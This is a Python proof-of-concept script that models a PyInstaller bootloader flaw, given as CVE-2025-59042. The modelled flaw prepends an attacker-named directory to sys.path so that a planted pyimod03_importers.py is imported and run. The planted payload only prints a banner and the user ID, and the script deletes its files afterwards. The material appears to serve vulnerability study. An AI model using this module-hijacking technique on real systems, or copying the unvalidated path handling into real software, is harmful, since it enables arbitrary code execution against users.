Vulnerable code sample

import sys
import os
import shutil

# This script represents the conditions and vulnerable logic of CVE-2025-59042.
# It is a simplified Python model of the C bootloader's flawed behavior
# in PyInstaller versions prior to 6.0.0.

# --- Step 1: Attacker Creates Malicious Files ---
# The attacker creates a directory and a Python file with a specific name
# in the same location as the vulnerable application.
# This simulates the attacker having write permissions in the target directory.

ATTACKER_DIR = "malicious_payload_dir"
os.makedirs(ATTACKER_DIR, exist_ok=True)

# The attacker's code is placed in a file named `pyimod03_importers.py`.
# This is the specific module name the vulnerable bootloader tries to import.
PAYLOAD_FILE_PATH = os.path.join(ATTACKER_DIR, "pyimod03_importers.py")
with open(PAYLOAD_FILE_PATH, "w") as f:
    f.write("""
# This is the attacker's arbitrary code.
import os

print("=" * 70)
print("!!! VULNERABILITY EXPLOITED (CVE-2025-59042 PoC) !!!")
print("!!! The application has imported and executed the attacker's code. !!!")
if hasattr(os, 'geteuid'):
    print(f"!!! Code is running with user ID: {os.geteuid()} !!!")
print("=" * 70)

# A real payload could spawn a shell, exfiltrate data, or escalate privileges.
# For example: os.system("id; whoami")
""")


# --- Step 2: Application Execution (Vulnerable Bootloader Logic) ---
# The following logic simulates the flawed bootstrap process.

print("[App Bootloader] Starting...")

# In a real attack, this string is constructed by the bootloader based on
# the PYZ archive's offset and passed via `argv`. An attacker crafts a
# directory name (`malicious_payload_dir`) to hijack this process.
path_info_from_executable = f"{ATTACKER_DIR}?4352342" # The number is an example offset.

print(f"[App Bootloader] Received internal path info: '{path_info_from_executable}'")

# THE FLAW: The bootloader splits the path at '?' and prepends the first
# part to `sys.path` without validation.
try:
    path_to_prepend, _ = path_info_from_executable.split('?', 1)

    # This is the core of the vulnerability. An attacker-controlled
    # directory is added to the Python module search path.
    sys.path.insert(0, os.path.abspath(path_to_prepend))
    print(f"[App Bootloader] VULNERABLE ACTION: Added '{path_to_prepend}' to sys.path.")
    print(f"[App Bootloader] sys.path[0] is now: '{sys.path[0]}'")

except ValueError:
    print("[App Bootloader] Failed to parse path info.")
    sys.exit(1)


# THE TRIGGER: The bootloader attempts to import an optional module for
# bytecode decryption. If the feature was not enabled during the build (which
# is the default), this module does not exist inside the application package.
print("[App Bootloader] Attempting to import optional module 'pyimod03_importers'...")

# Because the attacker's directory is now first in `sys.path`, Python's
# import system finds and executes the attacker's malicious
# `pyimod03_importers.py` file.
try:
    # This import statement triggers the execution of the attacker's code.
    import pyimod03_importers
    print("[App Bootloader] Import was successful.")
except ImportError:
    # This block would execute in a non-exploited scenario.
    print("[App Bootloader] Module 'pyimod03_importers' not found (normal).")


print("[App Bootloader] Bootstrap finished.")


# --- Cleanup ---
# This part is for demonstration purposes to remove the created files.
if 'pyimod03_importers' in sys.modules:
    del sys.modules['pyimod03_importers']
if os.path.exists(ATTACKER_DIR):
    shutil.rmtree(ATTACKER_DIR)